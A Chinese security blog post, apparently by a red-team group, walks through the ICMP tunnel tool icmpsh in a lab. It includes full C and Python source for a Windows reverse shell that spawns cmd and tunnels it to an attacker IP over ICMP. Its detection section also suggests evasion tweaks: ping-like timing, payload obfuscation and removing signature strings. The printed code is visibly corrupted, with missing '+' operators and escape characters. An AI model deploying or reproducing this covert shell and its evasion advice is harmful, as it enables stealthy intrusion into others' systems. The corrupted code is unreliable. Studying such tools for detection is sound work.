内网隧道之icmpsh

2022-09-29 21:17:23 浏览数 (1)


内网隧道之icmpsh

前言

本文研究ICMP隧道的一个工具,icmpsh

github:https://github.com/bdamele/icmpsh

一、概述

1、简介

最后更新于2013年,能通过ICMP协议请求/回复报文反弹cmd,不需要指定服务或者端口,也不用管理员权限,但反弹回来的cmd极不稳定

代码语言:javascript复制
受控端(客户端)使用C语言实现,只能运行在目标Windows机器上
主控端(服务端)由于已经有C和Perl实现的版本,而且之后又移植到了Python上,因此可以运行在任何平台的攻击者机器中。

条件:

目标机可以ping出来

目标机是windows

2、原理

ICMP隧道原理参见:内网渗透系列:内网隧道之ICMP隧道

客户端开启cmd进程,通过pipe放入icmp隧道进程,将命令和回显放进data。有一点比较好的是将内容拆分,限制了每个包的时间间隔和长度

3、使用

首先都要关闭内核对ping的响应:

代码语言:javascript复制
echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all

icmpsh提供了以下选项:

代码语言:javascript复制
-t host            必须的,客户端指定服务端
-r                 发送 "Test1234" 字符串进行测试
-d milliseconds    requests之间间隔毫秒级时间 
-o milliseconds    设置毫秒级最大响应时间
-b num             blanks的数量
-s bytes           最大数据缓冲区大小

服务端(攻击机)执行

代码语言:javascript复制
python icmpsh_m.py <attacker's-IP> <target-IP>

客户端(目标机,win)执行

代码语言:javascript复制
icmpsh.exe -t <attacker's-IP>

然后就建立了隧道

二、实践

1、场景

攻击机:kali 192.168.227.129

目标机:windows7 192.168.227.128

目标机能ping通攻击机

2、建立隧道

(1)攻击机

关闭内核对ping的响应并启动隧道:

代码语言:javascript复制
代码语言:javascript复制
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
python icmpsh_m.py 192.168.227.129 192.168.227.128
代码语言:javascript复制

(2)目标机

建立隧道

代码语言:javascript复制
icmpsh.exe -t 192.168.227.129
代码语言:javascript复制

(3)隧道建立成功

成功建立隧道并反弹shell

可以发现对中文名不友好

3、抓包看看

连接上迅速反弹shell

dir命令,发现是分散到每个心跳包里,限制了长度和频率

三、探索

1、源码与分析

(1)客户端

C语言 cmd的进程通过pipe放入icmp包的data,icmp包的创建是调用icmp_create

代码语言:javascript复制
#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#include <windows.h> //这个包可以注意下
#include <iphlpapi.h>

#define ICMP_HEADERS_SIZE  (sizeof(ICMP_ECHO_REPLY)   8)

#define STATUS_OK          0
#define STATUS_SINGLE        1
#define STATUS_PROCESS_NOT_CREATED  2

#define TRANSFER_SUCCESS      1
#define TRANSFER_FAILURE      0

#define DEFAULT_TIMEOUT          3000
#define DEFAULT_DELAY          200
#define DEFAULT_MAX_BLANKS           10
#define DEFAULT_MAX_DATA_SIZE      64

FARPROC icmp_create, icmp_send, to_ip; //远调用,段寄存器入栈,ip入栈,这是不是也是可以关注的点

int verbose = 0;

// 创建cmd的进程,并设置进程管道
int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write)
{
  SECURITY_ATTRIBUTES sattr;
  STARTUPINFOA si; //指定新进程的特性
  HANDLE in_read, out_write;

  memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES));
  memset(pi, 0x00, sizeof(PROCESS_INFORMATION));
    
  // create communication pipes  
  memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES));
  sattr.nLength = sizeof(SECURITY_ATTRIBUTES); 
  sattr.bInheritHandle = TRUE; 
  sattr.lpSecurityDescriptor = NULL; 

  if (!CreatePipe(out_read, &out_write, &sattr, 0)) {
    return STATUS_PROCESS_NOT_CREATED;
  }
  if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) { //关闭内核对象out_read句柄的继承标志
    return STATUS_PROCESS_NOT_CREATED;
  }

  if (!CreatePipe(&in_read, in_write, &sattr, 0)) {
    return STATUS_PROCESS_NOT_CREATED;
  }
  if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) {
    return STATUS_PROCESS_NOT_CREATED;
  }

  // spawn process
  memset(&si, 0x00, sizeof(STARTUPINFO));
  si.cb = sizeof(STARTUPINFO); 
  si.hStdError = out_write;
  si.hStdOutput = out_write;
  si.hStdInput = in_read;
  si.dwFlags |= STARTF_USESTDHANDLES;

  if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) {
    return STATUS_PROCESS_NOT_CREATED;
  }

  CloseHandle(out_write);
  CloseHandle(in_read);

  return STATUS_OK;
}

void usage(char *path)
{
  printf("%s [options] -t targetn", path);
  printf("options:n");
  printf("  -t host            host ip address to send ping requests ton");
  printf("  -r                 send a single test icmp request and then quitn");
  printf("  -d milliseconds    delay between requests in milliseconds (default is %u)n", DEFAULT_DELAY);
  printf("  -o milliseconds    timeout in millisecondsn");
  printf("  -h                 this screenn");
  printf("  -b num             maximal number of blanks (unanswered icmp requests)n");
    printf("                     before quittingn");
  printf("  -s bytes           maximal data buffer size in bytes (default is 64 bytes)nn", DEFAULT_MAX_DATA_SIZE);
  printf("In order to improve the speed, lower the delay (-d) between requests orn");
    printf("increase the size (-s) of the data buffern");
}

void create_icmp_channel(HANDLE *icmp_chan)
{
  // create icmp file
  *icmp_chan = (HANDLE) icmp_create();
}

int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout)
{
  int rs;
  char *temp_in_buf;
  int nbytes;

  PICMP_ECHO_REPLY echo_reply;

  temp_in_buf = (char *) malloc(max_in_data_size   ICMP_HEADERS_SIZE);
  if (!temp_in_buf) {
    return TRANSFER_FAILURE;
  }

  // send data to remote host
  rs = icmp_send(
      icmp_chan,
      target,
      out_buf,
      out_buf_size,
      NULL,
      temp_in_buf,
      max_in_data_size   ICMP_HEADERS_SIZE,
      timeout);

    // check received data
    if (rs > 0) {
      echo_reply = (PICMP_ECHO_REPLY) temp_in_buf;
      if (echo_reply->DataSize > max_in_data_size) {
        nbytes = max_in_data_size;
      } else {
        nbytes = echo_reply->DataSize;
      }
      memcpy(in_buf, echo_reply->Data, nbytes);
      *in_buf_size = nbytes;

      free(temp_in_buf);
      return TRANSFER_SUCCESS;
    }

    free(temp_in_buf);

    return TRANSFER_FAILURE;
}

int load_deps() //加载dll
{
  HMODULE lib;
  
  lib = LoadLibraryA("ws2_32.dll"); //显式链接到 DLL,用于支持Internet和网络应用程序
  if (lib != NULL) {
        to_ip = GetProcAddress(lib, "inet_addr"); //获取 DLL 导出函数的地址
        if (!to_ip) {   
            return 0;
        }
    }

  lib = LoadLibraryA("iphlpapi.dll"); // 用来获取、设置网络相关参数的动态链接库文件
  if (lib != NULL) {
    icmp_create = GetProcAddress(lib, "IcmpCreateFile");
    icmp_send = GetProcAddress(lib, "IcmpSendEcho");
    if (icmp_create && icmp_send) {
      return 1;
    }
  } 

  lib = LoadLibraryA("ICMP.DLL");
  if (lib != NULL) {
    icmp_create = GetProcAddress(lib, "IcmpCreateFile");
    icmp_send = GetProcAddress(lib, "IcmpSendEcho");
    if (icmp_create && icmp_send) {
      return 1;
    }
  }
  
  printf("failed to load functions (%u)", GetLastError());

  return 0;
}
int main(int argc, char **argv)
{
  int opt;
  char *target;
  unsigned int delay, timeout;
  unsigned int ip_addr;
  HANDLE pipe_read, pipe_write;
  HANDLE icmp_chan;
  unsigned char *in_buf, *out_buf;
  unsigned int in_buf_size, out_buf_size;
  DWORD rs;
  int blanks, max_blanks;
  PROCESS_INFORMATION pi;
  int status;
  unsigned int max_data_size;
  struct hostent *he;


  // set defaults
  target = 0;
  timeout = DEFAULT_TIMEOUT;
  delay = DEFAULT_DELAY;
  max_blanks = DEFAULT_MAX_BLANKS;
  max_data_size = DEFAULT_MAX_DATA_SIZE;

  status = STATUS_OK;
  if (!load_deps()) {
    printf("failed to load ICMP libraryn");
    return -1;
  }

  // parse command line options
  for (opt = 1; opt < argc; opt  ) {
    if (argv[opt][0] == '-') {
      switch(argv[opt][1]) {
        case 'h':
            usage(*argv);
          return 0;
        case 't':
          if (opt   1 < argc) {
            target = argv[opt   1];
          }
          break;
        case 'd':
          if (opt   1 < argc) {
            delay = atol(argv[opt   1]);
          }
          break;
        case 'o':
          if (opt   1 < argc) {
            timeout = atol(argv[opt   1]);
          }
          break;
        case 'r':
          status = STATUS_SINGLE;
          break;
        case 'b':
          if (opt   1 < argc) {
            max_blanks = atol(argv[opt   1]);
          }
          break;
        case 's':
          if (opt   1 < argc) {
            max_data_size = atol(argv[opt   1]);
          }
          break;
        default:
          printf("unrecognized option -%cn", argv[1][0]);
          usage(*argv);
          return -1;
      }
    }
  }

  if (!target) {
    printf("you need to specify a host with -t. Try -h for more optionsn");
    return -1;
  }
  ip_addr = to_ip(target);

  // don't spawn a shell if we're only sending a single test request
  if (status != STATUS_SINGLE) {
    status = spawn_shell(&pi, &pipe_read, &pipe_write);
  }

  // create icmp channel
  create_icmp_channel(&icmp_chan);
  if (icmp_chan == INVALID_HANDLE_VALUE) {
      printf("unable to create ICMP file: %un", GetLastError());
      return -1;
  }

  // allocate transfer buffers
  in_buf = (char *) malloc(max_data_size   ICMP_HEADERS_SIZE);
  out_buf = (char *) malloc(max_data_size   ICMP_HEADERS_SIZE);
  if (!in_buf || !out_buf) {
    printf("failed to allocate memory for transfer buffersn");
    return -1;
  }
  memset(in_buf, 0x00, max_data_size   ICMP_HEADERS_SIZE);
  memset(out_buf, 0x00, max_data_size   ICMP_HEADERS_SIZE);

  // sending/receiving loop
  blanks = 0;
  do {

    switch(status) {
      case STATUS_SINGLE:
        // reply with a static string
        out_buf_size = sprintf(out_buf, "Test1234n");
        break;
      case STATUS_PROCESS_NOT_CREATED:
        // reply with error message
        out_buf_size = sprintf(out_buf, "Process was not createdn");
        break;
      default:
        // read data from process via pipe
        out_buf_size = 0;
        if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) {
          if (out_buf_size > 0) {
            out_buf_size = 0;
            rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL);
            if (!rs && GetLastError() != ERROR_IO_PENDING) {
              out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %in", GetLastError());
            } 
          }
        } else {
          out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe failed with %in", GetLastError());
        }
        break;
    }

    // send request/receive response
    if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size,  max_data_size, timeout) == TRANSFER_SUCCESS) {
      if (status == STATUS_OK) {
        // write data from response back into pipe
        WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0);
      }
      blanks = 0;
    } else {
      // no reply received or error occured
      blanks  ;
    }

    // wait between requests
    Sleep(delay);

  } while (status == STATUS_OK && blanks < max_blanks);

  if (status == STATUS_OK) {
    TerminateProcess(pi.hProcess, 0);
  }

    return 0;
}

(2)服务端

主要是non-blocking,然后ICMP的socket,读取内容后,简单修改header,再填充data发送

C语言

代码语言:javascript复制
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <netinet/ip_icmp.h> //这里的调包是不是可以作为检测点
#include <netinet/ip.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>

#define IN_BUF_SIZE   1024
#define OUT_BUF_SIZE  64

// calculate checksum
unsigned short checksum(unsigned short *ptr, int nbytes)
{
    unsigned long sum;
    unsigned short oddbyte, rs;

    sum = 0;
    while(nbytes > 1) {
        sum  = *ptr  ;
        nbytes -= 2;
    }

    if(nbytes == 1) {
        oddbyte = 0;
        *((unsigned char *) &oddbyte) = *(u_char *)ptr;
        sum  = oddbyte;
    }

    sum  = (sum >> 16)   (sum & 0xffff);
    sum  = (sum >> 16);
    rs = ~sum;
    return rs;
}

int main(int argc, char **argv)
{
    int sockfd;
    int flags;
    char in_buf[IN_BUF_SIZE];
    char out_buf[OUT_BUF_SIZE];
    unsigned int out_size;
    int nbytes;
    struct iphdr *ip;
    struct icmphdr *icmp;
    char *data;
    struct sockaddr_in addr;


    printf("icmpsh - mastern"); //这种特征性字符串可以删掉
    
    // create raw ICMP socket
    sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP);
    if (sockfd == -1) {
       perror("socket");
       return -1;
    }

    // set stdin to non-blocking
    flags = fcntl(0, F_GETFL, 0);
    flags |= O_NONBLOCK;
    fcntl(0, F_SETFL, flags);

    printf("running...n");
    while(1) {

        // read data from socket
        memset(in_buf, 0x00, IN_BUF_SIZE);
        nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1);
        if (nbytes > 0) {
            // get ip and icmp header and data part
            ip = (struct iphdr *) in_buf;
            if (nbytes > sizeof(struct iphdr)) {
                nbytes -= sizeof(struct iphdr);
                icmp = (struct icmphdr *) (ip   1);
                if (nbytes > sizeof(struct icmphdr)) {
                    nbytes -= sizeof(struct icmphdr);
                    data = (char *) (icmp   1);
                    data[nbytes] = '';
                    printf("%s", data);
                    fflush(stdout);
                }
                
                // reuse headers
                icmp->type = 0; //设为echo
                addr.sin_family = AF_INET;
                addr.sin_addr.s_addr = ip->saddr;
        
                // read data from stdin
                nbytes = read(0, out_buf, OUT_BUF_SIZE);
                if (nbytes > -1) {
                    memcpy((char *) (icmp   1), out_buf, nbytes);
                    out_size = nbytes;
                } else {
                    out_size = 0;
                }

                icmp->checksum = 0x00;
                icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr)   out_size);

                // send reply
                nbytes = sendto(sockfd, icmp, sizeof(struct icmphdr)   out_size, 0, (struct sockaddr *) &addr, sizeof(addr));
                if (nbytes == -1) {
                    perror("sendto");
                    return -1;
                }        
            }
        }
    }

    return 0;
}

python 有个impacket包很厉害的样子

代码语言:javascript复制
import os
import select
import socket
import subprocess
import sys

def setNonBlocking(fd):
    """
    Make a file descriptor non-blocking
    """
    # 同样使non-blocking
    import fcntl

    flags = fcntl.fcntl(fd, fcntl.F_GETFL)
    flags = flags | os.O_NONBLOCK
    fcntl.fcntl(fd, fcntl.F_SETFL, flags)

def main(src, dst):
    if subprocess.mswindows:
        sys.stderr.write('icmpsh master can only run on Posix systemsn')
        sys.exit(255)

    try:
        from impacket import ImpactDecoder
        from impacket import ImpactPacket
    except ImportError:
        sys.stderr.write('You need to install Python Impacket library firstn')
        sys.exit(255)

    # Make standard input a non-blocking file
    stdin_fd = sys.stdin.fileno()
    setNonBlocking(stdin_fd)

    # Open one socket for ICMP protocol
    # A special option is set on the socket so that IP headers are included
    # with the returned data
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
    except socket.error, e:
        sys.stderr.write('You need to run icmpsh master with administrator privilegesn')
        sys.exit(1)

    sock.setblocking(0)
    sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

    # Create a new IP packet and set its source and destination addresses
    ip = ImpactPacket.IP()
    ip.set_ip_src(src)
    ip.set_ip_dst(dst)

    # Create a new ICMP packet of type ECHO REPLY
    icmp = ImpactPacket.ICMP()
    icmp.set_icmp_type(icmp.ICMP_ECHOREPLY)

    # Instantiate an IP packets decoder
    decoder = ImpactDecoder.IPDecoder()

    while 1:
        cmd = ''

        # Wait for incoming replies
        if sock in select.select([ sock ], [], [])[0]:
            buff = sock.recv(4096)

            if 0 == len(buff):
                # Socket remotely closed
                sock.close()
                sys.exit(0)

            # Packet received; decode and display it
            ippacket = decoder.decode(buff)
            icmppacket = ippacket.child()

            # If the packet matches, report it to the user
            if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type(): # 收到的是reply
                # Get identifier and sequence number
                ident = icmppacket.get_icmp_id()
                seq_id = icmppacket.get_icmp_seq()
                data = icmppacket.get_data_as_string()

                if len(data) > 0:
                    sys.stdout.write(data)

                # Parse command from standard input
                try:
                    cmd = sys.stdin.readline()
                except:
                    pass

                if cmd == 'exitn':
                    return

                # Set sequence number and identifier
                icmp.set_icmp_id(ident)
                icmp.set_icmp_seq(seq_id)

                # Include the command as data inside the ICMP packet
                icmp.contains(ImpactPacket.Data(cmd))

                # Calculate its checksum
                icmp.set_icmp_cksum(0)
                icmp.auto_checksum = 1

                # Have the IP packet contain the ICMP packet (along with its payload)
                ip.contains(icmp)

                # Send it to the target host
                sock.sendto(ip.get_packet(), (dst, 0))

if __name__ == '__main__':
    if len(sys.argv) < 3:
        msg = 'missing mandatory options. Execute as root:n'
        msg  = './icmpsh-m.py <source IP address> <destination IP address>n'
        sys.stderr.write(msg)
        sys.exit(1)

    main(sys.argv[1], sys.argv[2])

2、检测与绕过

(1)异常ICMP数据包数量

如图,心跳包0.2s一个

这个可以改为和ping的时间间隔一样

(2)payload内容

长度已经限制了 那么就是内容了确实是不同的

正常ping命令:

代码语言:javascript复制
windows系统下ping默认传输的是:abcdefghijklmnopqrstuvwabcdefghi,共32bytes
linux系统下,ping默认传输的是48bytes,前8bytes随时间变化,后面的固定不变,内容为!”#$%&’() ,-./01234567

这里混淆加密,会不会好点

(3)cmd进程

可以关注cmd进程是否被开启

(4)dll

可以关注几个dll的链接

结语

可以认为是很简单的icmp隧道了


红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。

0 人点赞